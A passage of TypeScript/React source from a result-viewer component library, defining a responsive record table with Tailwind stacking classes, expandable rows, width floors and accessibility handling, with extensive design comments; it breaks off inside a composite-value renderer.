a fitting table's box its columns split (`FIT_SHARE_*`). It\n * is a custom property because it changes with the viewport, which an inline\n * width and a pixel sum cannot follow.\n *\n * They did not agree, and the failure was invisible until the detail's values\n * moved to the right edge. The panel spanned every column EXCEPT this one while\n * being pinned to the full visible width, so it overhung the scroller by exactly\n * this much - harmless while its content started at the left, and a clean cut\n * through the last characters of every value once they ended at the right.\n */\nconst EXPAND_COLUMN = 'var(--expand-column,2rem)';\n\n/**\n * Its width, set on the scroller: `2rem` around a 24px chevron, and below `sm`\n * `3.25rem` around the 44px one a finger is given there (`TOGGLE`).\n */\nconst EXPAND_COLUMN_WIDTH = '[--expand-column:2rem] max-sm:[--expand-column:3.25rem]';\n\n/**\n * A row's chevron: 24px, and 44px below `sm`, where it is tapped rather than\n * clicked. It grows where it stands rather than reaching past its box, because\n * the box is a table cell inside a scroller that clips.\n */\nconst TOGGLE = cn(\n 'mt-0.5 flex size-6 items-center justify-center rounded text-muted-foreground hover:bg-card hover:text-foreground max-sm:mt-0 max-sm:size-11',\n focusOutlineClass,\n);\n\n/**\n * When a table under `tableLayout=\"stack\"` turns its rows into blocks of label\n * and value pairs, counted in the columns it SHOWS (after the budget).\n *\n * - **Up to three: never**, but for one case. Three columns that wrap, with no\n * fixed width floor, fit the 343px a 375px phone leaves, and a table is how\n * three values per row are read best.\n * - **Three whose rows open: on a phone**, below `sm`. There the chevron's\n * column is 3.25rem around the 44px a finger is given, a fourth column in\n * all but name, and it leaves the two columns beside the name about 48px\n * each in a host's padded panel at 375px: a header such as \"Obligation\"\n * could be held whole only by pushing the table past its box, and the\n * values beside it were a column of broken words. A viewport rule rather\n * than a container query, because the chevron's width is one; below `sm`\n * every box is narrower than 640px anyway.\n * - **Four to six: while the table's own box is narrower than 640px**, a\n * container query rather than the viewport, so a narrow panel on a wide\n * screen stacks too. The 640 is written into the classes below rather than\n * here, because Tailwind finds a class only where it is spelled out whole.\n * - **More than six: at every width.** Seven columns that wrap leave each about\n * ninety pixels in a 720px column, which is a column of broken words, not a\n * table.\n */\nconst STACK_NEVER_UP_TO = 3;\nconst STACK_ALWAYS_BEYOND = 6;\n\ntype Stacking = 'never' | 'phone' | 'narrow' | 'always';\n\nfunction stackingFor(columns: number, rowsOpen: boolean): Stacking {\n if (columns <= STACK_NEVER_UP_TO) {\n return columns === STACK_NEVER_UP_TO && rowsOpen ? 'phone' : 'never';\n }\n return columns > STACK_ALWAYS_BEYOND ? 'always' : 'narrow';\n}\n\n/** What turns each part of a table into blocks, for one of the two ways it stacks. */\ninterface StackClasses {\n table: string;\n head: string;\n body: string;\n /** Each row: one block, the rows divided by the hairline every row already carries. */\n row: string;\n /**\n * A row that opens: its pairs start after the chevron, which sits in that\n * margin. Below `sm` the chevron is 44px (`TOGGLE`), so the margin widens to\n * hold it and it moves to the block's corner. Under the container query those\n * two are `max-sm:@max-[640px]:`, both conditions at once, which Tailwind\n * emits after the container query's own rules, so they win over the row's\n * `px-3` and the chevron's `top-2 left-1` where both apply.\n */\n rowWithToggle: string;\n toggle: string;\n /**\n * Each value cell: one line of the block, its label beside its value. A block\n * has no columns to size, so the cell's word floor (`WORD_FLOOR`) is dropped.\n */\n cell: string;\n label: string;\n /** An open row's detail: the whole record, across the block. */\n detail: string;\n detailInner: string;\n}\n\n/**\n * The box a table of records is drawn in. On a bare page it is its own\n * rounded hairline box, which is what says where the table ends. Inside a\n * host's panel (`framed`, `StuffViewer`'s or `ResultEnvProvider`'s), the panel\n * already says it, and a second box inside it read as a box in a box under\n * every app style: the table then draws no edge, keeping its header band and\n * its row rules, and rounds its band's corners a step under a control's, so a\n * style's radius reaches it and a panel's larger corner still encloses it.\n * A table inside an open row is inside the outer table, not the host's panel,\n * so it keeps its own box (the row opens under `framed: false`), which is what\n * sets it apart from the rows around it. The name is on the DOM as\n * `data-table-box` (`box` or `framed`), for a host's stylesheet and for tests,\n * which cannot read an edge from its classes.\n */\nfunction useTableBox(): { name: 'box' | 'framed'; className: string } {\n return useResultFramed()\n ? { name: 'framed', className: 'rounded-md' }\n : { name: 'box', className: 'rounded-lg border border-border' };\n}\n\n/**\n * The same layout three times: behind the container query, behind the phone's\n * viewport (`max-sm:`, where the chevron is always 44px, so its margin and\n * corner need no second condition), and without either. Spelled out in full\n * each time, because Tailwind reads class names out of the source and would\n * find no `@max-[640px]:block` assembled from parts.\n *\n * A label beside its value, not above it: one line per field keeps a row of\n * five fields five lines tall, and one label column for every line of a block\n * lines each value up under the one above it, whatever its label's length. The\n * labels take two fifths of the block up to 10rem, so a block in a desktop\n * column does not leave its values a long way from short labels.\n */\nconst STACKED: Record<'phone' | 'narrow' | 'always', StackClasses> = {\n phone: {\n table: 'max-sm:block',\n head: 'max-sm:hidden',\n body: 'max-sm:block',\n row: 'max-sm:relative max-sm:block max-sm:px-3 max-sm:py-2',\n rowWithToggle: 'max-sm:pl-12',\n toggle: 'max-sm:absolute max-sm:top-0 max-sm:left-0 max-sm:p-0',\n cell: 'max-sm:grid max-sm:grid-cols-[minmax(0,min(40%,10rem))_minmax(0,1fr)] max-sm:items-baseline max-sm:gap-x-3 max-sm:px-0 max-sm:py-0.5 max-sm:after:hidden',\n label: 'max-sm:block',\n detail: 'max-sm:block',\n detailInner: 'max-sm:px-0 max-sm:py-1',\n },\n narrow: {\n table: '@max-[640px]:block',\n head: '@max-[640px]:hidden',\n body: '@max-[640px]:block',\n row: '@max-[640px]:relative @max-[640px]:block @max-[640px]:px-3 @max-[640px]:py-2',\n rowWithToggle: '@max-[640px]:pl-8 max-sm:@max-[640px]:pl-12',\n toggle:\n '@max-[640px]:absolute @max-[640px]:top-2 @max-[640px]:left-1 @max-[640px]:p-0 max-sm:@max-[640px]:top-0 max-sm:@max-[640px]:left-0',\n cell: '@max-[640px]:grid @max-[640px]:grid-cols-[minmax(0,min(40%,10rem))_minmax(0,1fr)] @max-[640px]:items-baseline @max-[640px]:gap-x-3 @max-[640px]:px-0 @max-[640px]:py-0.5 @max-[640px]:after:hidden',\n label: '@max-[640px]:block',\n detail: '@max-[640px]:block',\n detailInner: '@max-[640px]:px-0 @max-[640px]:py-1',\n },\n always: {\n table: 'block',\n head: 'hidden',\n body: 'block',\n row: 'relative block px-3 py-2',\n rowWithToggle: 'pl-8 max-sm:pl-12',\n toggle: 'absolute top-2 left-1 p-0 max-sm:top-0 max-sm:left-0',\n cell: 'grid grid-cols-[minmax(0,min(40%,10rem))_minmax(0,1fr)] items-baseline gap-x-3 px-0 py-0.5 after:hidden',\n label: 'block',\n detail: 'block',\n detailInner: 'px-0 py-1',\n },\n};\n\n/**\n * A cell under `tableLayout=\"stack\"`, as a table or as a line of a block.\n *\n * It wraps anywhere, so no value can widen the table past its box: under\n * `break-word` the browser breaks a long token on screen but still sizes the\n * column to the whole token, and three French clauses at 343px scrolled by the\n * width of their longest words. Breaking anywhere would let auto table layout\n * squeeze a short column into a ribbon beside a long one, since it hands the\n * spare width to the columns with the most to say, so each cell keeps a floor,\n * and the floor is a share of the table's own box (`cqw`) as well as a length.\n * The record's name gets the larger one, `16ch` as under the scroller, because\n * it is what a reader finds a row by and a name broken mid-word reads worst;\n * every other cell gets half. The shares keep three floors and their padding\n * inside any box a phone leaves, where three fixed `16ch` floors did not fit;\n * the lengths keep six of them inside the 640px from which six columns are a\n * table, and keep a wide box from spending its width on short values.\n *\n * A floor alone still let a short column's words break: auto table layout gave\n * \"Status\" the floor and little more beside a column of web addresses, so\n * \"Redirect\" broke in the middle at a phone's width. So every column beside the\n * name also gets `WORD_FLOOR`, which keeps the column as wide as its longest\n * word, up to its share of the box. The name keeps its own floor and nothing\n * more, as before.\n *\n * `[&>span]` reaches the value's own span, which is one line in every cell.\n */\nconst FIT_CELL = 'min-w-[min(8ch,14cqw)] wrap-anywhere [&>span]:whitespace-normal';\nconst FIT_NAME = 'min-w-[min(16ch,28cqw)] wrap-anywhere [&>span]:whitespace-normal';\n\n/**\n * A value cell's floor at its longest word, on a table that fits its box: an\n * invisible, zero-height copy of the cell's text (`data-fit`), laid out where\n * words do not break, and capped at the column's share (`--fit-share`). A\n * header needs no copy, since it never wraps inside a word (see `ObjectTable`'s\n * header row).\n *\n * The cell itself still wraps anywhere, and that is what keeps an over-long\n * token from widening the table. What it gives up is the column's width: a\n * width that may break anywhere has a minimum of one letter, and auto table\n * layout pays a short column its minimum and little more. The copy puts the\n * longest word back into that minimum, but never past the share, so a token\n * wider than its share still wraps instead of pushing the table out of its\n * box. A copy rather than `overflow-wrap: break-word` on the cell, which would\n * size the column to the whole token, and a pseudo-element rather than an\n * element, so the text is in the page once: not read twice, not selectable\n * twice, and not found twice by a test.\n */\nconst WORD_FLOOR =\n 'after:block after:h-0 after:max-w-[var(--fit-share,0px)] after:overflow-hidden after:invisible after:wrap-normal after:content-[attr(data-fit)]';\n\n/**\n * `--fit-share`, set on a table that fits its box: an equal split, between the\n * columns beside the name, of what the name's floor, the cells' padding\n * (`1.5rem` each) and the chevron column leave of the box. The name's floor is\n * counted at `28cqw`, the larger it can be, so the shares and the floors never\n * add up to more than the box. A table with no name splits the whole box.\n * Spelled out per column count, because Tailwind finds a class only where it is\n * written whole; a table of more than six columns is blocks at every width and\n * has no columns to share.\n *\n * The chevron column is counted only when the rows open (`FIT_CHEVRON`, which\n * sets `--fit-chevron` to `EXPAND_COLUMN`). It used to be reserved whether or\n * not they did, so a table whose rows cannot open, as an invoice's lines of a\n * name and two numbers, took a part of a chevron column that was not there\n * from every column beside the name, and on a 375px phone, where the chevron\n * is 3.25rem, its header \"Quantity\" broke as \"Quantit\" over \"y\".\n *\n * A fitting table whose rows cannot open sets it to nothing (`FIT_NO_CHEVRON`)\n * rather than leaving it unset: a custom property inherits, and a table drawn\n * inside an open row's record is a descendant of the outer table, which does\n * open, so an unset variable would hand the inner table the outer one's\n * chevron and take it from the inner columns' share.\n */\nconst FIT_CHEVRON = '[--fit-chevron:var(--expand-column,2rem)]';\nconst FIT_NO_CHEVRON = '[--fit-chevron:0px]';\nconst FIT_SHARE_BESIDE_NAME: Readonly<Record<number, string>> = {\n 2: '[--fit-share:calc(72cqw_-_3rem_-_var(--fit-chevron,0px))]',\n 3: '[--fit-share:calc((72cqw_-_4.5rem_-_var(--fit-chevron,0px))/2)]',\n 4: '[--fit-share:calc((72cqw_-_6rem_-_var(--fit-chevron,0px))/3)]',\n 5: '[--fit-share:calc((72cqw_-_7.5rem_-_var(--fit-chevron,0px))/4)]',\n 6: '[--fit-share:calc((72cqw_-_9rem_-_var(--fit-chevron,0px))/5)]',\n};\nconst FIT_SHARE_WITHOUT_NAME: Readonly<Record<number, string>> = {\n 1: '[--fit-share:calc(100cqw_-_1.5rem_-_var(--fit-chevron,0px))]',\n 2: '[--fit-share:calc((100cqw_-_3rem_-_var(--fit-chevron,0px))/2)]',\n 3: '[--fit-share:calc((100cqw_-_4.5rem_-_var(--fit-chevron,0px))/3)]',\n 4: '[--fit-share:calc((100cqw_-_6rem_-_var(--fit-chevron,0px))/4)]',\n 5: '[--fit-share:calc((100cqw_-_7.5rem_-_var(--fit-chevron,0px))/5)]',\n 6: '[--fit-share:calc((100cqw_-_9rem_-_var(--fit-chevron,0px))/6)]',\n};\n\n/**\n * A header's text, free to wrap after each `_`. In `studio` a header is the\n * identifier the author wrote (`checked_on`, `unit_price_differs_from_po`),\n * whose words are joined by underscores rather than spaces, and a header that\n * wraps only between words would otherwise hold the whole identifier on one\n * line. `<wbr>` adds the break and nothing to the text, so the header still\n * reads, copies and is named exactly as written. In `app` a header is a\n * humanised name or an authored title, whose words are spaced already, so it\n * is left as it is.\n */\nfunction identifierWords(label: string): React.ReactNode {\n const words = label.split('_');\n if (words.length === 1) return label;\n return words.map((word, index) =>\n index === words.length - 1 ? (\n word\n ) : (\n <Fragment key={index}>\n {word}_<wbr />\n </Fragment>\n ),\n );\n}\n\n/**\n * The text a cell's word floor is laid out from: what a text or number cell\n * shows, the same string its tooltip carries. Anything else - a date, a yes or\n * no, a count, chips, a file - gets no floor beyond the cell's own.\n */\nfunction cellWords(column: RunField, cell: unknown, presentation: FieldPresentation) {\n return typeof cell === 'string' || typeof cell === 'number'\n ? cellTitle(column, cell, presentation)\n : undefined;\n}\n\n/**\n * Whether a cell under `tableLayout=\"stack\"` shows the start of its value and\n * leaves the rest to the open row, as a cell cut at one line does without the\n * option. Text a cell can only start: prose, unbounded text, a record named by\n * its text. Never the name, which is shown whole in every table, and never a\n * list or a file, whose cells are chips, a count or a file's own line.\n */\nfunction clampsInStack(column: RunField, name: RunField | undefined): boolean {\n if (column === name || fitsACellWhole(column)) return false;\n return column.kind !== 'list' && column.kind !== 'document' && column.kind !== 'image';\n}\n\n/**\n * Whether a column is GUARANTEED to fit its cell — a stronger question than\n * `isInlineColumn`, and the one the expand toggle is keyed on.\n *\n * The two came apart the first time a real method was rendered. `text` is the\n * standard's \"short single-line string\", so it was treated as always-fitting and\n * a table of nothing but `text` columns got no toggle at all. But *short* is not\n * a property the kind carries: a `text` node is bounded only when the author\n * wrote `max_length`, and an unbounded one is a slot a model will happily fill\n * with three sentences — which is exactly what `gaps` and `overall_assessment`\n * hold in the CV corpus. The cell then truncated with no way to read the rest,\n * which is the one outcome a result view must not produce.\n *\n * So the guarantee is read from the CONSTRAINT rather than assumed from the\n * kind. A boolean, a date, a number and an enum are bounded by what they are; a\n * `text` is bounded when it says so. Everything else may be long, and its row\n * gets a toggle. Still descriptor-driven — no value is measured, so a table's\n * shape does not change with the data it happens to be showing.\n *\n * A `native.Date` member is a date too, although its node is an `object`: a\n * cell reads it as one compact date (`RecordSummary`), whole. And a list fits\n * only when its cell shows the entries at all, which is when they are chips; a\n * list of anything else is a count in its cell, and its entries are in the\n * row's detail however short each one is.\n */\nfunction fitsACellWhole(field: RunField): boolean {\n switch (field.kind) {\n case 'boolean':\n case 'date':\n case 'number':\n case 'enum':\n return true;\n case 'text':\n return field.maxLength !== undefined && field.maxLength <= CELL_LENGTH_LIMIT;\n case 'object':\n return isNativeDateNode(field);\n case 'list':\n return isInlineColumn(field) && fitsACellWhole(field.item);\n default:\n return false;\n }\n}\n\n/**\n * A list of records, as the table it is — with the rest of each record one click\n * away.\n *\n * **Every record list is a table now**, including the ones carrying prose and\n * the ones carrying more records. The old answer was to fall back to a card per\n * entry, and it was the wrong trade: a table is how you READ a list of records —\n * scannable, aligned, one row each — and giving that up over the widest column\n * loses it for every other column too.\n *\n * What a table genuinely cannot do is hold a paragraph or a nested structure in\n * a cell. So it does not try: the cell shows the first line (or how many entries\n * there are), and the row expands to a full rendering of the record underneath —\n * the same stacked layout a card used, arriving only when asked for. That keeps\n * the scannable shape and loses nothing, which the fallback could not claim.\n *\n * The toggle appears only when a row HAS more to show; a table of short scalars\n * of nothing but bounded scalars — numbers, dates, enums, `max_length` text —\n * gets no column of chevrons that reveal nothing. Bounded is read from the\n * descriptor's constraint rather than assumed from the kind; see\n * `fitsACellWhole` for why that distinction had to be made.\n *\n * **A record wider than the host's budget shows the top of a ranking** — its\n * name, then the values that fit a cell whole — and a row opens whenever a\n * column is hidden, because the open row is the whole record. See\n * `chooseColumns`.\n */\nfunction ObjectTable({\n columns,\n element,\n items,\n label,\n}: {\n /** Every field the element declares; the table shows the ones it chooses. */\n columns: readonly RunField[];\n /** The element descriptor, used to render an expanded row in full. */\n element: RunField;\n items: readonly unknown[];\n /** Names the scroll region, so a screen reader says which table it is. */\n label: string;\n}) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const budget = useTableColumns();\n const layout = useTableLayout();\n const box = useTableBox();\n const scrollerRef = useRef<HTMLDivElement>(null);\n const [expanded, setExpanded] = useState<ReadonlySet<number>>(() => new Set());\n const [viewportWidth, setViewportWidth] = useState<number>();\n const { shown, hidden, name } = chooseColumns(columns, budget);\n // A hidden column is more to show, exactly as a clipped cell is: the open row\n // renders the whole record, so nothing the budget leaves out is lost. The\n // name is left out of the clipped-cell half, because it wraps and is never\n // clipped: a record whose only long field is its name has nothing more to\n // show, and a chevron opening onto the same values is chrome, not a feature.\n const canExpand =\n hidden > 0 || shown.some((column) => column !== name && !fitsACellWhole(column));\n // Under `tableLayout=\"stack\"` the table fits its box, as a table that wraps\n // or as blocks, so there is no scroll for any of the scroller's machinery to\n // serve. `stacked` is what turns it into blocks, and when.\n const fits = layout === 'stack';\n const stacking = fits ? stackingFor(shown.length, canExpand) : 'never';\n const stacked = stacking === 'never' ? undefined : STACKED[stacking];\n // The share a column beside the name may claim for its values' longest word,\n // and whether a value cell has a word floor at all: only while it can be a\n // table that fits, and never the name, which keeps its own floor.\n const nameShown = name !== undefined && shown.includes(name);\n const fitShare = fits\n ? (nameShown ? FIT_SHARE_BESIDE_NAME : FIT_SHARE_WITHOUT_NAME)[shown.length]\n : undefined;\n const floorsWords = (column: RunField) => fitShare !== undefined && column !== name;\n\n // The width of what is VISIBLE, not of the table.\n //\n // An expanded row is a cell spanning every column, so it inherits the table's\n // width - and the table is deliberately wider than its container whenever the\n // columns do not fit. Left alone, the detail then runs off into the scroll: a\n // paragraph readable only by scrolling sideways, which is the failure the\n // expansion exists to avoid. Measuring the scroller and pinning the detail to\n // it makes the panel stay put while the columns above it scroll. A table that\n // fits its box is never wider than it, so it has nothing to measure.\n useEffect(() => {\n const scroller = scrollerRef.current;\n if (!scroller || fits) return;\n const measure = () => setViewportWidth(scroller.clientWidth);\n measure();\n // Guarded rather than assumed: a host rendering on the server, or a test\n // environment without the API, gets a detail that simply wraps at the\n // table's width instead of a component that throws.\n if (typeof ResizeObserver === 'undefined') return;\n const observer = new ResizeObserver(measure);\n observer.observe(scroller);\n return () => observer.disconnect();\n }, [fits]);\n\n // Whether a table that fits its box is wider than it after all. Its values\n // wrap, so only its headers can make it so: a header never breaks inside a\n // word, and a box too narrow for every header's longest word beside the\n // name's floor lets the table scroll inside it rather than split one. A\n // scroll is then a place a keyboard must reach, so the box takes focus for as\n // long as it overflows, and only then. Measured, because only the browser\n // knows a word's width; what it decides is a tab stop, never the table's\n // shape, so a server and the first paint render the same table.\n const [overflows, setOverflows] = useState(false);\n useEffect(() => {\n const scroller = scrollerRef.current;\n if (!scroller || !fits) return;\n const measure = () => setOverflows(scroller.scrollWidth > scroller.clientWidth);\n measure();\n if (typeof ResizeObserver === 'undefined') return;\n const observer = new ResizeObserver(measure);\n observer.observe(scroller);\n // The table too: a row opening, or a host's new rows, changes what the box\n // holds without changing the box.\n const content = scroller.firstElementChild;\n if (content) observer.observe(content);\n return () => observer.disconnect();\n }, [fits]);\n\n const toggle = (index: number) =>\n setExpanded((current) => {\n const next = new Set(current);\n if (!next.delete(index)) next.add(index);\n return next;\n });\n\n return (\n // `min-w-full` rather than `w-full`, and a floor under each cell: with\n // `w-full` the table is pinned to the container's width, so twelve columns\n // do not overflow - they crush, and a reading's date wraps onto four lines.\n // A floor makes the table wider than the panel instead, which is what the\n // scroller is for.\n //\n // A scrollable region must be reachable by keyboard. A table of values has\n // nothing to tab to, so the region itself takes focus; without `tabIndex` the\n // columns past the fold are reachable with a mouse and by no other means,\n // which the a11y gate catches as `scrollable-region-focusable`. The name\n // makes the focus stop announce itself rather than being a silent one.\n //\n // `group` rather than `region`, and that is not a detail: `region` is a\n // LANDMARK, so every table would enter the document's landmark list, and two\n // of them with the same name - which is what a result rendered twice, or a\n // structure holding two lists, produces - is `landmark-unique`. A group is\n // named without claiming to be a section of the page.\n //\n // Under `tableLayout=\"stack\"` the box is the SIZE CONTAINER its stacking\n // rules query, so the table answers to its own width rather than the\n // viewport's, and it takes no focus while nothing scrolls, since the stop\n // would have nothing to do. It still clips to its rounded border, and takes\n // focus again only while its headers' words make it overflow (`overflows`).\n <div\n ref={scrollerRef}\n role=\"group\"\n aria-label={label}\n {...(fits && !overflows ? {} : { tabIndex: 0 })}\n data-table-box={box.name}\n className={cn(\n 'overflow-x-auto',\n box.className,\n focusOutlineInsetClass,\n EXPAND_COLUMN_WIDTH,\n fits && '@container',\n )}\n >\n {/* `w-full` BESIDE `min-w-full`, not instead of it. `min-w-full` alone\n left the table content-sized whenever the columns were narrower than\n the panel, so the header band and every row rule stopped mid-box with\n empty bordered space to their right - the table looked half-drawn. The\n pair fixes that without giving up the overflow this scroller exists\n for: `width` and `min-width` agree at 100% while the content is narrow,\n and once the columns need more than that, auto table layout grows past\n both rather than crushing them (headers are `whitespace-nowrap` and\n cells `truncate`, so nothing wraps to buy the space back). A table\n that fits its box wraps instead, so it grows past either only when\n its headers' longest words do not fit beside one another. */}\n <table\n className={cn(\n 'w-full min-w-full border-collapse text-[13px]',\n stacked?.table,\n fitShare,\n fitShare !== undefined && (canExpand ? FIT_CHEVRON : FIT_NO_CHEVRON),\n )}\n >\n {/* Gone while the rows are blocks: each value then carries its own\n label, so the header row would only repeat them out of place. */}\n <thead className={stacked?.head}>\n {/* A filled band, not a hairline. The header is the one row that is\n not data, and on a long list the reader scrolls it out of sight and\n back; a rule alone leaves it reading as the first entry. `bg-muted`\n rather than a literal grey so it follows the host's light and dark\n palettes - the same token the rest of the kernel's surfaces use. */}\n <tr className=\"border-b border-border bg-muted text-left\">\n {/* Named, not empty: a header cell with no text is `empty-table-header`\n to an auditor and an unlabelled column to a screen reader. The\n name is visually hidden because the chevron below it is the whole\n affordance a sighted reader needs. */}\n {canExpand && (\n <th scope=\"col\" style={{ width: EXPAND_COLUMN }} className=\"px-1\">\n <span className=\"sr-only\">{s.rowDetailsColumn}</span>\n </th>\n )}\n {shown.map((column) => (\n <th\n key={column.name}\n scope=\"col\"\n className={cn(\n // One line, or, in a table that fits its box, wrapped between\n // words and never inside one: \"Quantity\" over three digits is\n // a header, \"Quantit\" over \"y\" is damage. So a header's\n // longest word is its column's floor, with no share capping\n // it, as a value's is capped: a header's words are the label\n // the descriptor states, not a payload's token of any length.\n // Where the box cannot hold every header's longest word, the\n // table scrolls inside it (see `overflows`).\n fits ? 'wrap-normal' : 'whitespace-nowrap',\n 'px-3 py-2 text-[12px] font-semibold text-foreground',\n presentation === 'app' ? undefined : 'font-mono',\n )}\n >\n {/* The authored description, once, on the header - it is worth\n having and not worth repeating under every value. */}\n <Described description={column.description}>\n {presentation === 'studio'\n ? identifierWords(fieldLabel(column.title, column.name, presentation))\n : fieldLabel(column.title, column.name, presentation)}\n </Described>\n </th>\n ))}\n </tr>\n </thead>\n <tbody className={stacked?.body}>\n {items.map((item, index) => {\n // Open only while there is a toggle to close it with. The host may\n // raise the budget while a row is open, and a row whose columns\n // then all fit would otherwise stay open with no chevron at all.\n const isOpen = canExpand && expanded.has(index);\n return (\n <ResultAt key={index} segment={String(index)}>\n <tr\n className={cn(\n 'border-b border-border/60 last:border-b-0',\n stacked?.row,\n canExpand && stacked?.rowWithToggle,\n )}\n >\n {canExpand && (\n <td className={cn('px-1 pt-px align-top', stacked?.toggle)}>\n <button\n type=\"button\"\n onClick={() => toggle(index)}\n aria-expanded={isOpen}\n aria-label={s.toggleRowDetails(index + 1)}\n className={TOGGLE}\n >\n {isOpen ? (\n <ChevronDown aria-hidden className=\"size-3.5\" />\n ) : (\n <ChevronRight aria-hidden className=\"size-3.5\" />\n )}\n </button>\n </td>\n )}\n {/* OPEN: the row BECOMES the record. It used to keep its\n truncated cells and grow a second row underneath, which\n showed every value twice — clipped above, whole below —\n and left the reader scrolling sideways through the clipped\n copy of what they had just opened. A row is one thing, so\n opening it replaces it rather than annotating it.\n\n Column alignment is what that costs, and only while a row\n is open: an open row is not being scanned against its\n neighbours, it is being read. */}\n {isOpen ? (\n <td colSpan={shown.length} className={cn('bg-card/40 p-0', stacked?.detail)}>\n <div\n className={cn(\n !fits && 'sticky left-0',\n 'px-3.5 py-3',\n stacked?.detailInner,\n )}\n {...(viewportWidth && !fits\n ? {\n style: {\n // Minus the chevron column: this cell starts\n // after it, so pinning it to the FULL visible\n // width pushes its right edge that far past the\n // scroller. See `EXPAND_COLUMN`.\n width: canExpand\n ? `calc(${viewportWidth}px - ${EXPAND_COLUMN})`\n : viewportWidth,\n },\n }\n : {})}\n >\n {/* Inside the row's own `ResultAt`, so a file in the\n record is placed at this entry's index; and out of\n the host's panel, as far as a table in it knows,\n since the outer table is what frames it. */}\n <PanelEnvOverride\n downloads={undefined}\n tableLayout={undefined}\n framed={false}\n >\n <ResultField field={element} value={item} hideLabel />\n </PanelEnvOverride>\n </div>\n </td>\n ) : (\n shown.map((column) => {\n const cell =\n typeof item === 'object' && item !== null\n ? ownProp(item as Record<string, unknown>, column.name)\n : undefined;\n const columnLabel = fieldLabel(column.title, column.name, presentation);\n const words = floorsWords(column)\n ? cellWords(column, cell, presentation)\n : undefined;\n return (\n <td\n key={column.name}\n {...(words === undefined ? {} : { 'data-fit': words })}\n className={cn(\n 'px-3 py-1.5 align-top',\n floorsWords(column) && WORD_FLOOR,\n stacked?.cell,\n )}\n >\n {/* The column's header, said again beside its value\n once the header row is gone, and hidden while the\n table is a table.\n\n The header's description goes with it only when\n the row cannot open. A row that opens shows the\n record, which carries every description, so its\n label stays plain text: a tooltip there would be a\n tab stop per value for something one click away.\n A row that cannot open has no other way to it once\n the header is hidden, and a description nobody can\n reach on a phone is the worse failure. The hidden\n label takes no focus, so a table that is still a\n table gains no tab stop. */}\n {stacked && (\n <span\n className={cn(\n 'hidden text-[12px] text-muted-foreground wrap-anywhere',\n presentation === 'app' ? undefined : 'font-mono',\n stacked.label,\n )}\n >\n {canExpand ? (\n columnLabel\n ) : (\n <Described description={column.description}>\n {columnLabel}\n </Described>\n )}\n </span>\n )}\n {/* One line per cell, and a cap on how wide one may push\n the column. Wrapping is what a `w-full` table does\n instead of overflowing, and it is the worse failure: a\n date broken over two lines to save a scrollbar. The\n cap stops the opposite failure - one long label making\n a 200-character column - and the full value is a click\n or a hover away.\n\n A record's NAME is the one cell that wraps, in every\n table, and the one with no cap. It is what a reader\n identifies a row by, and a name cut at the cap is the\n fault this rule was built for. It wraps ANYWHERE, and\n that is what lets it wrap at all when a name is one\n long token - an address, an identifier. Auto table\n layout sizes a column by its cell's narrowest width,\n and only `overflow-wrap: anywhere` counts the breaks\n inside a word toward it: `break-word` breaks the\n token on screen but still measures it whole, so the\n table grew as wide as the name's longest word. Wrapped\n anywhere, the cell cannot push the table wider, so a\n cap has nothing to stop there and the name takes the\n width the panel leaves it. Wrapping also makes it the\n one column that can give width back, so auto table\n layout squeezes it first when the panel is narrow -\n into a ribbon, but for the floor under it, which is\n the chip column's floor for the same reason.\n `[&>span]` reaches the value's own span, which is\n `whitespace-nowrap` in every cell: only this caller\n knows the name may wrap.\n\n A table that fits its box gives every cell the\n name's treatment instead, with no cap and a floor\n that is a share of the box (`FIT_CELL`, the name's\n larger), and shows the start of a text it can only\n start in three lines rather than one. */}\n <div\n className={\n fits\n ? column === name\n ? FIT_NAME\n : cn(FIT_CELL, clampsInStack(column, name) && 'line-clamp-3')\n : cn(\n 'max-w-[44ch]',\n column === name\n ? 'max-w-none min-w-[16ch] wrap-anywhere [&>span]:whitespace-normal'\n : column.kind === 'list' && isInlineColumn(column)\n ? 'min-w-[16ch]'\n : 'truncate',\n )\n }\n {...(typeof cell === 'string' || typeof cell === 'number'\n ? { title: cellTitle(column, cell, presentation) }\n : {})}\n >\n <ResultAt segment={column.name}>\n <LeafValue field={column} value={cell} compact />\n </ResultAt>\n </div>\n </td>\n );\n })\n )}\n </tr>\n </ResultAt>\n );\n })}\n </tbody>\n </table>\n </div>\n );\n}\n\n/**\n * A `native.Composite` — its members, named, each rendered as what it is.\n *\n * ## Why this one reads the value, when nothing else here does\n *\n * Every other layout in this file is decided by the descriptor, and that rule\n * is load-bearing. This arm is the documented exception, and the reason is that\n * there is nothing to read: a composite declares no members, so the standard's\n * own honest answer is `kind: \"unknown\"` with a payload schema of\n * `{additionalProperties: true}` and no properties. Both are true. The\n * standard's note on `unknown` says a renderer then \"falls back to raw entry\n * against the contract's `json_schema`\" — and that schema says *any object*.\n *\n * So the descriptor has abdicated, deliberately, and the choice left is between\n * printing the whole thing as a JSON blob and reading the members as the\n * `StuffContent`s they are BY DEFINITION. A composite is a named composition of\n * contents; that is not a guess about this payload, it is what the concept\n * means.\n *\n * ## And the readers are the standard's, not sniffing\n *\n * `readHtmlContent`, `readDateContent`, `readDocumentContent` and the rest\n * already exist and are already payload readers — elsewhere in this file the\n * DESCRIPTOR chooses which one to call. Here nothing can, so a member's record\n * is read as a content model only when every member it holds is one that model\n * declares (`readMemberContent`), and a member that matches none is shown raw.\n * What that costs is precision on a member whose content model this version\n * does not know; what it buys is that a composite of two summaries reads as two\n * summaries instead of forty lines of escaped JSON, while a structure that\n * happens to carry a `date`, a `url` or a `text` keeps every other member.\n *\n * A bare string is text and a bare array is a list. A record holding only\n * `inner_html` and `css_class` is a page, only a date's members a date, only an\n * image's a picture, only a document's a file, only `items` a list and only\n * `text` a text; a picture and a file share their `url`, so the media type\n * decides between them when the record holds only the members both declare. A\n * list whose entries are all records none of those claim is a list of\n * structures, and is drawn as a table.\n */\nfunction CompositeValue({ members }: { members: readonly CompositeMember[] }) {\n // A member's name is the identifier the method composed it under. A builder\n // reads it as written, in mono, as every other identifier in `studio`; a\n // method app's reader has never seen the bundle, and reads it in words, as a\n // field's label reads in `app`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n return (\n <div className=\"space-y-3\">\n {members.map((member) => {\n const label = isApp ? humanizeFieldName(member.name) : member.name;\n // A member that is a text heading itself is named by that heading in\n // `app`, and its name is said rather than drawn, as a text field's\n // label is in `ResultNode`'s leaf arm.\n const text = memberText(member.value);\n const headed = isApp && text !== undefined && opensWithHeading(text);\n return (\n <div key={member.name} className=\"space-y-1\">\n <span\n className={cn(\n 'font-semibold text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono 